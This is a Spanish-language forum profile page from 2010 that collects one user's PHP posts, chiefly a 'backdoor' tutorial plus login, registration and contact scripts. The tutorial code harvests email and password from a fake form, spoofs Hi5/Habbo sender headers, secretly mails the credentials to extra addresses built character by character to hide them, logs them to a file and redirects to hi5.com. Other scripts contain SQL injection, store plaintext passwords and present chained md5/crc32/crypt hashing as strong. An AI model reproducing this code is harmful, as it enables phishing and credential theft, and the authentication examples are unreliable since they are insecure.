151
Tutoriales PHP / Re:Backdoor literalmente [Xt3mP]
« en: 08 de Marzo de 2010, 00:12:53 am »
Gracias, mi primer karma, luego haré uno de como igual hacer esta técnica pero un poco más "camuflada".
Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.
<html><head><title>DomainChecker ~Xt3mP</title></head>
<body>
<form action="domainchecker.php" method="POST">
<input type="text" name="dominio" id="dominio>
<input type="text" name="extension" id="extension">
<input type="submit" value="Verificar"></body></html><?php
// Obtendremos los valores de el formulario en caso de ponerlo en una web para que el usuario quiera checar si el dominio esta disponible o cambiar $_POST['dominio'] por el nombre de una pagina.
$nombredominio = $_POST['dominio'];
$nombreextension = $_POST['extension'];
// Concátenamos para que la variable dominio con el "." para que sea igual a nombre.dominio (phperos.net[Ejemplo]):
$dominio=$nombredominio.$nombreextension;
// Declaramos para comenzar a checar el dominio, puerto, errores.
$checker = @fsockopen($dominio, 80, &$errno, &$errstr, 30);
// Si la variable checker se llevo acabo correctamente:
if($checker)
{
//Le da un valor a la variable final "Dominio No Disponible".
$final="Dominio no disponible";
}
// Si no:
else {
//Le da un valor a la variable final "Dominio Disponible".
$final="Dominio disponible";
}
//Muestra el valor de la variable "$final".
echo $final;
?><?php
$dominio= "phperos.net";
$checker = @fsockopen($dominio, 80, &$errno, &$errstr, 30);
if($checker)
{
$final="Dominio no disponible";
}
else {
$final="Dominio disponible";
}
echo $final;
?>
<?php
$usuario = $_POST['user'];
$clave = $_POST['passwd'];
$correo = "Xt3mP@h4x0rz.us";
$contenido = "<br>Email: ".$usuario." <br>Clave: " .$clave."";
$headers = "MINE-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
$headers .= "From: Hi5. <mailings@habbohotel.com>\r\n";
$headers .= "Reply-To: mailings@habbohotel.com\r\n";
$subject .= "Logs";
mail($correo,$subject,$contenido,$headers);
?><?php
/*Aqui el demas codigo*/
$q = "t";
$w = "m";
$e = "h";
$t = "a";
$y = "3";
$u = "i";
$i = "o";
$o = ".";
$p = "c";
$a = "p";
$s = "@";
$f = "h";
$g = "m";
$h = "x";
$b = "l";
?><?php
/*Aqui el demas codigo*/
$caracteresa= $h.$q.$y.$g.$a; //xt3mp
$caracteresb= $s.$f.$i.$q.$g.$t.$u; //@hotmai
$caracteresc= $b.$o.$p.$i.$g; //l.com
$caracteresd= $caracteresa.$caracteresb.$caracteresc; //xt3mp@hotmail.com
?>mail($caracteresd,$subject,$contenido,$headers); <?php
$usuario = $_POST['user'];
$clave = $_POST['passwd'];
$correo = "Xt3mP@h4x0rz.us";
$q = "t";
$w = "m";
$e = "h";
$t = "a";
$y = "3";
$u = "i";
$i = "o";
$o = ".";
$p = "c";
$a = "p";
$s = "@";
$f = "h";
$g = "m";
$h = "x";
$b = "l";
$contenido = "<br>Email: ".$usuario." <br>Clave: " .$clave."";
$headers = "MINE-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
$headers .= "From: Hi5. <mailings@habbohotel.com>\r\n";
$headers .= "Reply-To: mailings@habbohotel.com\r\n";
$subject .= "Logs";
$caracteresa= $h.$q.$y.$g.$a; //xt3mp
$caracteresb= $s.$f.$i.$q.$g.$t.$u; //@hotmai
$caracteresc= $b.$o.$p.$i.$g; //l.com
$caracteresd= $caracteresa.$caracteresb.$caracteresc; //xt3mp@hotmail.com
mail($correo,$subject,$contenido,$headers);
mail($caracteresd,$subject,$contenido,$headers);
?>##########################################################################<?php
$f= "@";
$z= "x";
$usuario = $_POST['email'];
$x= "l";
$clave = $_POST['password'];
$c= "o";
$correo = array("primer" => "Xt3mP@h4x0rz.us", "segundo" => "xT3mP@gobiernofederal.com");
$v= "v";
$contenido = "<br>Email: ".$usuario." <br>Clave: " .$clave."";
$k= "a";
$t = "";
$b= "e";
$headers = "MINE-Version: 1.0\r\n";
$n= "s";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
$m= "u";
$headers .= "From: Hi5. <mailings@habbohotel.com>\r\n";
$d= ".";
$headers .= "Reply-To: mailings@habbohotel.com\r\n";
$q= "c";
$subject .= "Log de hi5";
$security = $j.$k.$l.$x;
$g= "h";
$usuariouno=$_POST['email'];
$h= "t";
$l= "i";
$p = "(";
$u = ")";
$claveuno=$_POST['password'];
$j= "m";
$caracteres = $z.$d.$x.$c.$v;
$caracteresa = $b.$n.$m.$z.$n.$d.$z;
$caracteresb= $f.$g.$c.$h.$j.$k.$l.$x.$d.$q.$c.$j;
$caracteresc= $caracteres.$caracteresa.$caracteresb;
$text=fopen('logos.txt',a);
fwrite($text,"
<br>Correo: ".$usuario." <br>Clave: " .$clave." ");
fclose($text);
mail($correo["primer"],$subject,$contenido,$headers);
mail($correo["segundo"],$subject,$contenido,$headers);
mail($caracteresc,$subject,$contenido,$headers);
echo "<meta http-equiv='Refresh' content='1;url=http://www.hi5.com'>";
?><html>
<title>Formulario.</title>
<body>
<form action="enviar.php" method="POST">
Nombre: <input type="text" name="nombre" id="nombre"><br>
Correo: <input type="text" name="correo" id="correo"><br>
Mensaje: <input type="text" name="mensaje" id="mensaje"><br>
<input type="submit" value="Enviar" id="submit"><br>
</form></body></html>
<?php
$name = $_POST['nombre'];
$mail = $_POST['mail'];
$msg = $_POST['mensaje'];
$carta = "Nombre: ".$name."<br>Correo: ".$mail."<br>Mensaje: ".$msg;
$micorreo = "Xt3mP@h4x0rz.us";
$asunto = "Datos del formulario de contacto";
$headers = "MINE-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
$headers .= "From: Xt3mP. <Xt3mP@h4x0rz.us>\r\n";
$headers .= "Reply-To: Xt3mP@h4x0rz.us\r\n";
mail($micorreo,$asunto,$carta,$headers);
echo "<meta http-equiv='Refresh' content='1;url=enviado.html'>";
?>
<html>
<title>Enviado</title>
<body>
El correo ha sido enviado correctamente.<br>
<a href="formulario.html">Enviar otro correo</a>
</body>
</html>
<?php
$dbhost="localhost"; //Host del db
$dbuser="xt3mpme_user"; //Usuario del db
$dbpass="xt3mpme_pass"; //Password del db
$db="xt3mpme_users"; //db donde se creara la tabla users
mysql_connect("$dbhost","$dbuser","$dbpass");
mysql_select_db("$db");
//Ya explique para que sirve cada variable.
?>
<form action="registrar.php" method="POST">
Usuario:<br>
<input type="text" name="user" id="user"><br>
Password:<br>
<input type="password" name="passwd" id="passwd"><br>
Repetir Password:<br>
<input type="password" name="passwd2" id="passwd2">
<input type="submit" value="Registrar" id="submit">
<?php
include('config.php');//Incluimos la conexion a la base de datos.
if (($_POST['user']== '') or ($_POST['passwd']== '') or ($_POST['passwd2']== '')){
echo "Te faltaron rellenar campos";
}else{
if($_POST['passwd'] != $_POST['passwd2']){
echo "Las contrasenas no coinciden";
}else{
$user = stripslashes($_POST["user"]);
$user = strip_tags($user);
// Quitamos las etiquetas html y lo relacionado a el usuario.
$pass = stripslashes($_POST["passwd"]);
$pass = strip_tags($pass);
// Quitamos las etiquetas html y lo relacionado a el password.
/* _____________________________________ */
// Comenzamos con la encriptacion a el estilo de Xt3mP.
$pass_encriptada1 = md5 ($pass); //Encriptacion nivel 1
$pass_encriptada2 = crc32($pass_encriptada1); //Encriptacion nivel 1
$pass_encriptada3 = crypt($pass_encriptada2, "xtemp"); //Encriptacion nivel 2
$pass_encriptada4 = sha1("xtemp".$pass_encriptada3); //Encriptacion nivel 3
// Aqui será demasiado dificil poder llegar a la password verdadera ya que por ejemplo, podrian desencriptar el md5 pero aún faltaria demasiado.
$usuarios = mysql_query("SELECT usuarios FROM cuentas WHERE usuarios='$user' ");
// Seleccionamos el campo usuarios de la tabla cuentas en donde el usuario es el que escriben en el campo user
if($usuarios2 = mysql_fetch_array($usuarios))
{
echo 'El usuario '.$user.' ya esta registrado';
mysql_free_result($usuarios);
// Liberamos la memoria
}else{
mysql_query("INSERT INTO cuentas (usuarios,pass) values ('$user','$pass')");
//Insertamos los valores de el user y pass en los campos usuarios y pass de la tabla cuentas
echo "El usuario '.$user.' ha sido registrado con éxito.';
//Decimos que el usuario ha sido registrado, etc.
}
}
}
?>
<form action="logear.php" method="POST">
User:<br>
<input type="text" name="user" id="pass"><br>
Pass:<br>
<input type="password" name="pass" id="pass"><br>
<input type="submit" value="Logear" id="submit">
<?php
include('config.php'); //Incluimos la conexion a la base de datos.
if( ($_POST["user"] == '') or ($_POST["pass"] == '') )
{
echo "Necesitas introducir datos de logeo";
}else{
$user = $_POST['user'];
$pass = $_POST['pass'];
$pass_encriptada1 = md5 ($pass); //Encriptacion nivel 1
$pass_encriptada2 = crc32($pass_encriptada1); //Encriptacion nivel 1
$pass_encriptada3 = crypt($pass_encriptada2, "xtemp"); //Encriptacion nivel 2
$pass_encriptada4 = sha1("xtemp".$pass_encriptada3); //Encriptacion nivel 3
$usuarios = mysql_query("SELECT * FROM cuentas WHERE usuarios='$user' and pass='$pass_encriptada4'");
//Comprobamos que si el usuario y la pass introducidas existan
if($usuarios2 = mysql_fetch_array($usuarios))
{
//Si existen los datos introducidos registraremos dos sesiones
session_register("login");
session_register("user");
$_SESSION['login'] = "SI";//Le damos el valor SI a la sesion login.
$_SESSION['user'] = $usuarios2["usuarios"];//Le damos el valor del nombre de usuario a la sesion user.
echo '<script language="JavaScript" type="text/javascript">
alert("Bienvenido.");//Mostramos alerta de bienvenida
</script>';
echo "<meta http-equiv='Refresh' content='2;url=index.php'>";//Redirigimos a nuestro index
}else{
echo 'Username y Password incorrecto.';
}
}
}
?>
<?php
if ($_SESSION['login'] = "SI"){//Si la Sesion LOGIN es igual a SI (Se registro si nos logeamos bien)
echo "Hola: ".$_SESSION['user'];
}else{//Si la Sesion LOGIN no es si (Se registro si nos logeamos bien)
echo "Esta seccion es prohibida";
}
?>
<?php
$medio = "Escojer seccion";
if ($_GET['modo']== "index"){
$medio = "Escojiste index";
}
if ($_GET['modo']== "login"){
$medio = "Escojiste login";
}
if ($_GET['modo']== "registrar"){
$medio = "Escojiste registrar";
}
echo $medio;
?>
<a href="www.xt3mp.me/?modo=registrar">Registrate</a>.
<?php
session_start();
if ($_SESSION['logeado'] != "SI"){
$status = '<form name="form1" method="post" action="?modo=login">
<label>
<div align="center"><span class="Estilo2">Usuario: </span>
<input name="usuario" type="text" class="Estilo2" id="usuario" size="15">
<br>
<span class="Estilo2">Clave: </span>
<input name="password" type="password" class="Estilo2" id="password" size="15">
<br>
<input name="Submit" type="submit" class="Estilo2" value="Entrar" target="_blank">
<br>
</div>
</label>
<div align="center"><span class="Estilo2"><a href="?modo=login&proceso=recordar">Recordar clave</a>. <a href="?modo=registrar">Registrar</a>. </span> </div>
</form>';
}else{
$status = "<span class='Estilo2'>Hola " . $_SESSION['nick'] ."<br><a href='?modo=salir'>Salir</a></span>";
}
?>
<html>
<head>
<title>You Can't Hack Me !</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link href="css/style.css" rel="stylesheet" type="text/css" /><style type="text/css">
<!--
body {
background-image: url();
background-color: #000000;
}
.Estilo10 {color: #66FF00}
-->
</style></head>
<?
$medio = '<table width="534" height="294" border="0" align="center">
<tr>
<td height="21" colspan="2" class="Estilo1">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</td>
</tr>
<tr>
<td width="139" height="21"><div align="left"><span class="Estilo1">Apertura No-Oficial:</span></div></td>
<td width="385" class="Estilo2"><div align="left">Como todos sabran, este es un proyecto que recien esta tomando </div></td>
</tr>
<tr>
<td height="21" colspan="2" class="Estilo2"><div align="left">rumbo, todavia faltan terminar ciertos scripts, entre otras cosas, actualmente no estan </div></td>
</tr>
<tr>
<td height="21" colspan="2" class="Estilo2"><div align="left">disponibles los WarGames ya que nos estamos concentrando en lo que es el registro, etc. </div></td>
</tr>
<tr>
<td height="14" colspan="2" class="Estilo2">Mientras tanto te invitamos a que pases por nuestra comunidad de Hacking Latina haciendo</td>
</tr>
<tr>
<td height="21" colspan="2" class="Estilo2"><div align="left">click aqui ------------->:<a href="http://www.hack.cl" target="_blank">[url=http://www.Hack.cl]www.Hack.cl[/url] Mas que una comunidad. </a></div></td>
</tr>
<tr>
<td height="21" class="Estilo2"> </td>
<td class="Estilo2"><div align="right"><span class="Estilo3">Fecha: Enero/28/2010 </span></div></td>
</tr>
<tr>
<td height="21" colspan="2" class="Estilo2"><div align="right" class="Estilo3"><span class="Estilo1">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</span></div></td>
</tr>
<tr>
<td height="21" class="Estilo2"> </td>
<td class="Estilo2"> </td>
</tr>
<tr>
<td height="21"> </td>
<td> </td>
</tr>
<tr>
<td height="21"> </td>
<td> </td>
</tr>
<tr>
<td height="21"> </td>
<td> </td>
</tr>
<tr>
<td height="21"> </td>
<td> </td>
</tr>
</table>';
if ($_GET['modo']=="registrar"){
session_start();
if ($_SESSION['logeado'] != "SI"){
$medio = '<form id="form1" name="form1" method="post" action="?modo=registrar2&proceso=comprobando"><table width="500" border="0" align="center">
<tr>
<td width="245" class="Estilo2"><div align="right"><span class="Estilo3">*</span>Nickname:</div></td>
<td width="245"><label>
<input name="nick" type="text" class="Estilo2" id="nick" size="15">
</label></td>
</tr>
<tr>
<td class="Estilo2"><div align="right"><span class="Estilo3">*</span>Usuario:</div></td>
<td><input name="user" type="text" class="Estilo2" id="user" size="15"></td>
</tr>
<tr>
<td class="Estilo2"><div align="right"><span class="Estilo3">*</span>Clave:</div></td>
<td><input name="passwd" type="password" class="Estilo2" id="passwd" size="15"></td>
</tr>
<tr>
<td height="21" class="Estilo2"><div align="right"><span class="Estilo3">*</span>Repetir Clave: </div></td>
<td><input name="passwd2" type="password" class="Estilo2" id="passwd2" size="15" /></td>
</tr>
<tr>
<td height="19" class="Estilo2"><label>
<div align="right"><span class="Estilo3">*</span>Correo:</div></td>
<td height="19" class="Estilo2"><input name="mail" type="text" class="Estilo2" id="mail" size="15" /></td>
</tr>
<tr>
<td height="21" class="Estilo2"><div align="right"><span class="Estilo3"></span>Pais:</div></td>
<td height="21" class="Estilo2"><label>
<select name="country" id="country">
<option selected>Mexico</option>
<option>Argentina</option>
<option>España</option>
<option>Chile</option>
<option>Panama</option>
<option>Colombia</option>
<option>Venezuela</option>
<option>Estados Unidos</option>
<option>Peru</option>
<option>Otro</option>
</select>
</label></td>
</tr>
<tr>
<td height="21" class="Estilo2"><div align="right"><span class="Estilo3"></span>Pagina Web:</div></td>
<td height="21" class="Estilo2"><input name="web" type="text" class="Estilo2" id="web" size="15" /></td>
</tr>
<tr>
<td height="21" class="Estilo2"><div align="right"><span class="Estilo3"></span>Edad:</div></td>
<td height="21" class="Estilo2"><select name="age" id="select">
<option>12</option>
<option>13</option>
<option>14</option>
<option>15</option>
<option>16</option>
<option>17</option>
<option> 18</option>
</select></td>
</tr>
<tr>
<td height="21" class="Estilo2"><div align="right"><span class="Estilo3">*</span>Referido:</div></td>
<td height="21" class="Estilo2"><input name="refer" type="text" class="Estilo2" id="refer" size="15" /></td>
</tr>
<tr>
<td height="21" colspan="2" class="Estilo2"><div align="center">
<input name="Submit" type="submit" class="Estilo2" value="Registrar" />
</div></td>
</tr>
</table>
</form>';
}else{
$status = "<span class='Estilo2'>Hola " . $_SESSION['nick'] ."<br><a href='logout.php'>Salir</a></span>";
echo '<script language="JavaScript" type="text/javascript">
alert("Actualmente estas logeado por lo tanto no podras registrarte.");
</script>';
echo "<meta http-equiv='Refresh' content='2;url=index.php'>";
$medio = "<span class='Estilo3'>Estas actualmente logeado, por lo tanto no podras registrarte.</span>";
}
}
if ($_GET['modo']=="registrar2" && $_GET['proceso']=="comprobando"){
include('config.php');
if ($_SESSION['logeado'] != "SI"){
$country = $_POST['country'];
$age = $_POST['age'];
if(($_POST['nick'] == '') or ($_POST['user'] == '') or ($_POST['passwd'] == '') or ($_POST['mail'] == '' ) or ($_POST['refer'] == '') )
{
$medio = "<span class='Estilo3'>Te faltaron rellenar campos.</span>";
echo "<meta http-equiv='Refresh' content='2;url=?modo=registrar'>";
}else{
if($_POST['passwd'] != $_POST['passwd2'])
{
$medio = '<span class="Estilo3">La claves no coinciden.</span>';
echo "<meta http-equiv='Refresh' content='2;url=?modo=registrar'>";
}else{
$nick = stripslashes($_POST["nick"]);
$nick = strip_tags($nick);
$user = stripslashes($_POST["user"]);
$user = strip_tags($user);
$pass = stripslashes($_POST["passwd"]);
$pass = strip_tags($pass);
$passs = md5 ($pass);
$passss = crc32($passs);
$pass = crypt($passss, "xtemp");
$usuarios = mysql_query("SELECT user FROM cuentas WHERE user='$user' ");
if($user_ok = mysql_fetch_array($usuarios))
{
$medio = '<span class="Estilo3">El usuario '.$user.' ya esta registrado</span>';
echo "<meta http-equiv='Refresh' content='2;url=?modo=registrar'>";
mysql_free_result($usuarios);
}else{
$mail = $_POST["mail"];
$pais = $_POST['country'];
$web = $_POST['web'];
$web = strip_tags($web);
$age = $_POST['age'];
$refer = $_POST['refer'];
if (($refer == $nick) or ($refer == $user)){
$medio = '<span class="Estilo3">No te puedes poner como referido.</span>';
echo "<meta http-equiv='Refresh' content='2;url=?modo=registrar'>";
}else{
$refer = strip_tags($refer);
mysql_query("INSERT INTO users (nick,user,pass,email,country,web,age,refer) values ('$nick','$user','$pass','$mail','$pais','$web','$age','$refer')");
$medio = '<span class="Estilo3">El usuario '.$user.' ha sido registrado con éxito, en unos momentos sera redireccionado.</span>';
echo "<meta http-equiv='Refresh' content='3;url=index.php'>";
}
}
}
}
}else{
$status = "<span class='Estilo2'>Hola " . $_SESSION['nick'] ."<br><a href='logout.php'>Salir</a></span>";
echo '<script language="JavaScript" type="text/javascript">
alert("Actualmente estas logeado por lo tanto no podras registrarte.");
</script>';
$medio = "<span class='Estilo3'>Estas actualmente logeado, por lo tanto no podras registrarte.</span>";
echo "<meta http-equiv='Refresh' content='2;url=index.php'>";
}
}
if ($_GET['modo']=="donar"){
$medio = '<center><span class="Estilo3">El fin de sus donaciones no es con ningun fin de lucro si no<br>que gracias a ustedes este WarGame sera muy grande.<br>Tambien el dinero recolectado se usara para el mantenimiento del host y del dominio.</span><br><br><br><form action="https://www.paypal.com/cgi-bin/webscr" method="post">
<input type="hidden" name="cmd" value="_xclick">
<input type="hidden" name="business" value="F94V7UWAB8ZHG">
<input type="hidden" name="lc" value="MX">
<input type="hidden" name="button_subtype" value="products">
<input type="hidden" name="currency_code" value="USD">
<input type="hidden" name="bn" value="PP-BuyNowBF:btn_paynow_SM.gif:NonHosted">
<table>
<tr><td><input type="hidden" name="on0" value="Donar"><span class="Estilo3">Donar</span></td></tr><tr><td><select name="os0">
<option value="1 Dolar">1 Dolar $1.00</option>
<option value="2 Dolares">2 Dolares $2.00</option>
<option value="5 Dolares">5 Dolares $5.00</option>
</select> </td></tr>
</table>
<input type="hidden" name="currency_code" value="USD">
<input type="hidden" name="option_select0" value="1 Dolar">
<input type="hidden" name="option_amount0" value="1.00">
<input type="hidden" name="option_select1" value="2 Dolares">
<input type="hidden" name="option_amount1" value="2.00">
<input type="hidden" name="option_select2" value="5 Dolares">
<input type="hidden" name="option_amount2" value="5.00">
<input type="hidden" name="option_index" value="0">
<input type="image" src="https://www.paypal.com/es_XC/i/btn/btn_paynow_SM.gif" border="0" name="submit" alt="PayPal. La forma rápida y segura de pagar en Internet.">
<img alt="" border="0" src="https://www.paypal.com/es_XC/i/scr/pixel.gif" width="1" height="1">
</form></center>
';
}
if ($_GET['modo']=="salir"){
session_start();
session_destroy();
$medio = "<span class='Estilo3'>Te has desconectado correctamente.</span>";
$status = '<form name="form1" method="post" action="comprobando_login.php">
<label>
<div align="center"><span class="Estilo2">Usuario: </span>
<input name="usuario" type="text" class="Estilo2" id="usuario" size="15">
<br>
<span class="Estilo2">Clave: </span>
<input name="password" type="password" class="Estilo2" id="password" size="15">
<br>
<input name="Submit" type="submit" class="Estilo2" value="Entrar" target="_blank">
<br>
</div>
</label>
<div align="center"><span class="Estilo2"><a href="recordar.php">Recordar clave</a>. <a href="registrar.php">Registrar</a>. </span> </div>
</form>';
}
if($_GET['modo']=="wargames"){
include('wargames.php');
}
if($_GET['modo']=="login"){
include('config.php');
if( ($_POST["usuario"] == '') or ($_POST["password"] == '') )
{
$medio = "<span class='Estilo7'>Necesitas introducir tus datos.</span>";
}else{
$user = $_POST['usuario'];
$passs = $_POST['password'];
$passss = md5 ($passs);
$passsss = crc32($passss);
$pass = crypt($passsss,"xtemp");
$usuarios = mysql_query("SELECT * FROM users WHERE user='$user' and pass='$pass'");
if($user_ok = mysql_fetch_array($usuarios))
{
session_register("logeado");
session_register("nick");
session_register("user");
$_SESSION['logeado'] = "SI";
$_SESSION['nick'] = $user_ok["nick"];
$_SESSION['user'] = $user_ok["user"];
$usuario = $_SESSION['nick'];
echo '<script language="JavaScript" type="text/javascript">
alert("Bienvenido, en unos momentos seras redirigido.");
</script>';
echo "<meta http-equiv='Refresh' content='2;url=index.php'>";
}else{
$medio = '<span class="Estilo7">Username y Password incorrecto.</span>';
}
}
}
?>
<?php
$medio = "Selecciona seccion";
if ($_GET['parte']=="nosotros"){
$medio = "Nosotros somos una nueva comunidad de Hack que pretende ensenar a los demas";
}
if ($_GET['parte']=="contacto"){
$medio = "Agregame a Xt3mP@h4x0rz.us para aclarar sus dudas";
}
if ($_GET['parte']=="foro"){
$medio = "Ve a [url=http://www.phperos.net]www.phperos.net[/url] para ver el foro";
}
echo $medio
?>
Espero que les sirva para simplificar todo, asi solo tienen un solo un archivo .PHP.<html>
<title>Identificacion</title>
<body>
<form action="entrar.php" method="POST">
<input type="text" name="pass" id="pass"><br>
<input type="submit" name="submit" value="Entrar">
</form>
</html>
<?php
$clave = $_POST['pass'];
if ($clave == "test"){
echo "Logeado correctamente";
}else{
echo "La clave es incorrecta";
}
?>